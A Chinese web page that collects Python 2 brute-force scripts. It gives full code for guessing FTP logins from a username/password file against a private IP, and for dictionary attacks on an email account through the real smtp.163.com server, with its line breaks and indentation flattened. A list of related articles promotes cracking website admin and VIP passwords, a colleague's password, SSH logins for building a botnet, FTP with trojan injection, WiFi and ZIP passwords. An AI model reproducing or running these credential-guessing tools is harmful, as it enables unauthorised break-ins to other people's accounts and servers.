Python暴力破解的收集
1. 破解ftp:
import ftplib def bruteLogin(hostname,passwdFile): pF=open(passwdFile,'r') for line in pF.readlines(): userName=line.split(':')[0] passWord=line.split(':')[1].strip('\r').strip('\n') print "[+] Trying: "+userName+"/"+passWord try: ftp=ftplib.FTP(hostname) ftp.login(userName,passWord) print '\n[*] '+str(hostname)+\ ' FTP Logon Succeeded: '+userName+"/"+passWord ftp.quit() return (userName,passWord) except Exception,e: pass print '\n[-] Could not brute force FTP credentials.' return (None,None) host='192.168.182.135' passwdFile='userpass.txt' bruteLogin(host,passwdFile)
2. 破解郵箱的:
#!/usr/bin/env python #coding:utf-8 from smtplib import SMTP as smtp import optparse import time def scanemail(uname,upass): s=smtp("smtp.163.com") try: s.ehlo() #傳送ehlo命令, s.starttls() #初始化加密通道 s.ehlo() #再次傳送ehlo,這次是加密的 s.login(uname,upass) except Exception,LoginError: print "[-]:%s : %s" %(uname,upass) else: out="[+]:%s : %s" %(uname,upass) #如果成功了,就返回真值 print out return True return False def main(): parser=optparse.OptionParser("usage: ./prog.py"+"-u <username> -d <passwordfile>") parser.add_option('-u',dest='uname',type='string',help='specify email name') parser.add_option('-d',dest='passwdfile',type='string',help='specify dictionary file') (options,args)=parser.parse_args() if (options.uname==None) | (options.passwdfile==None): print parser.usage exit(0) else: uname=options.uname passwdfile=options.passwdfile passFile=open(passwdfile) for line in passFile.readlines(): password=line.strip('\n') if scanemail(uname,password): break if __name__=='__main__': main()
相關推薦
Python暴力破解的收集
1. 破解ftp: import ftplib def bruteLogin(hostname,passwdFile): pF=open(passwdFile,'r') for line in pF.readlines(): userName=line.spli
GJCTF模擬題之python暴力破解網站管理員密碼
題目地址:http://www.czlgjbbq.top/GJCTF/brute.php php原始碼: <?php error_reporting(0); session_start(); if(empty($_COOKIE['f14g']) || empty($_SES
用Python暴力破解人家網站,獲取VIP賬戶密碼!
今天極度無聊,不知道爬些什麼,就在各大網站逛啊逛啊,無意中逛到了某小網站,該網站竟然還設定了各種Vip才能使用的特權。我看到了瞬間就怒火中燒,都是些小功能,竟然還要各種充錢。 在這及不理智的情況下,我暴力破解了人家網站。具體思路與步驟如下: 爆破思路與分析: 1
用 python 暴力破解同事密碼(HTTP)
#-*- coding: utf-8 -*- import urllib,urllib2, cookielib cookie_support= urllib2.HTTPCookieProcessor(cookielib.CookieJar()) opener = urll
【Python】HackBack(獲取暴力破解服務器密碼的IP來源)
split time get main ports import var api pre 1、前言 又在0x00sec上翻到好東東。 https://0x00sec.org/t/python-hackback-updated/882 帖子裏的腳本會得到那些暴力服務器密碼失敗
Python指令碼暴力破解FTP口令
目錄 判斷FTP伺服器是否允許匿名登入 暴力破解FTP口令 列出FTP目錄內的網頁檔案 綜合 環境:Windows python2.7.15 ftplib模組是python下用於ftp服務的模組 。 判斷FTP伺服器是否允許匿名登入 以下程
Python指令碼暴力破解SSH口令以及構建僵屍網路(pxssh)
目錄 暴力破解SSH口令 SSH遠端執行命令 構建僵屍網路 環境:Kali Linux python 2.7.13 暴力破解SSH口令 Pxssh是pexpect庫的ssh專用指令碼,他能用預先寫好的 login()、logout() 和 pro
破解密碼很難?利用Python自動編寫暴力破解字典,黑客必學技能!
Python是一款非常強大的語言。用於測試時它非常有效,因此Python越來越受到歡迎。 因此,在此次教程中我將聊一聊如何在Python中生成字典,並將它用於任何你想要的用途。 前提要求 如果你用virtualenv搭建Python開發環境
python 暴力 PDF 口令破解程式
假定有一個加密的 PDF 檔案,你忘記了口令,但記得它是一個英語單詞。嘗試猜測遺忘的口令是很無聊的任務。作為替代,你可以寫一個程式,嘗試用所有可能的英語單詞來解密這個 PDF 檔案,直到找到有效的口令。這稱為暴力口令攻擊。從http://nostarch.com/automa
Python黑科技:暴力破解,你的密碼真的安全麼?
之前更新了不少文章,大概也瞭解到了大家都喜歡什麼樣的東西,比如像黑客,爬蟲,web開發,可能都是大家比較喜歡的。 那麼今天,我給大家帶來一個Python的暴力破解加密的壓縮檔案的方法(是不是壓縮檔案不重要)。 另外你會不會Python也不重要 首先,我們得說一下,如何開啟一個壓縮檔案,如
python實戰:暴力破解wifi密碼
工具: python3.0,pycharm python庫:pywifi,time 思路: 匯入模組 抓取網絡卡介面 斷開所有wifi 讀取密碼本 測試連線 設定睡眠時間 流程: 1.匯入模組 import pywifi from pywifi import c
如何用Python寫一個暴力破解加密壓縮包的程式
有些時候加密rar軟體經常會忘了密碼,但記得密碼的大概,於是乎用Python寫個程式來暴力破解吧: 首先要搞清楚如何用命令列來解壓縮,經研究,rar軟體解壓是用的unrar.exe,將這個程式拷貝到C:\windows,然後進入加密軟體包所在的資料夾,用命令列執行 下面的命
破解密碼很難? 利用Python自動編寫暴力破解字典, 黑客必學技能!
Python是一款非常強大的語言。用於測試時它非常有效,因此Python越來越受到歡迎。 因此,在此次教程中我將聊一聊如何在Python中生成字典,並將它用於任何你想要的用途。 前提要求 如果你用virtualenv搭建Python開發環境,請確保已經安裝了it
【python程式設計】網站密碼暴力破解程式碼
1、pass1.txt需要從相關網站上下載,即密碼字典 2、使用python 此程式執行後列印密碼即可 #!/usr/bin/python #-*-coding:utf-8-*- import sys import httplib,urllib; #載入模組 def P
python指令碼生成密碼字典,暴力破解伺服器root密碼
大概在一年多前,我想做一個用於暴力破解md5加密的程式,原理是預先通過組合字串,算出對應的md5加密,然後根據md5加密串來查詢對應的字串,這種方法從理論上是可行的,實際操作起來有一些困難。 有的時候,一旦自己產生了一個想法,就自然有非常大的動力去努
Python實現FTP暴力破解
最近在看《Violent Python》,記錄一些程式碼實現。 0x00 FTP暴力破解之PTYHON實現 需使用ftplib庫,書中採用單執行緒,這裡我使用了多執行緒完成,匿名登入的問題暫時沒有找機子試,如有問題可以探討~ 0x01 程式碼實現 import optpa
Python之FTP伺服器暴力破解(注入木馬)
密碼字典下載:[email protected]:qq_21792169/dictionary.gitftp.py#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib import optparse impo
基於Python的江蘇大學校園網暴力破解
Python是近幾年比較流行的解釋型語言。Python是純粹的自由軟體,原始碼和直譯器CPython遵循GPL的協議。最近有在學習Python,作為Python的入門的新手拿學校的校園網登陸練練手。 總體的設計思路: 1.模擬瀏覽器的器開啟登陸網頁 2.構造登陸表單 表單選
python編寫暴力破解zip文件程式
暴力破解ZIP壓縮檔案 編寫暴力破解Zip檔案要從學習zipfile庫的使用方法入手,首先開啟Python直譯器,用help('zipfile')命令來了解這個庫並重點看一下ZipFile類中的extractall()這個方法 ZipFile extract
SSH暴力破解之Python-pxssh實現
最近在看《Violent Python》,記錄一些程式碼實現。 0x00 SSH暴力破解之Python-pexssh實現 Pxssh是一個包含了pexpect庫的專用指令碼,它能用預先寫好的login()、logout()、prompt()等函式直接與SSH進行互動。 簡單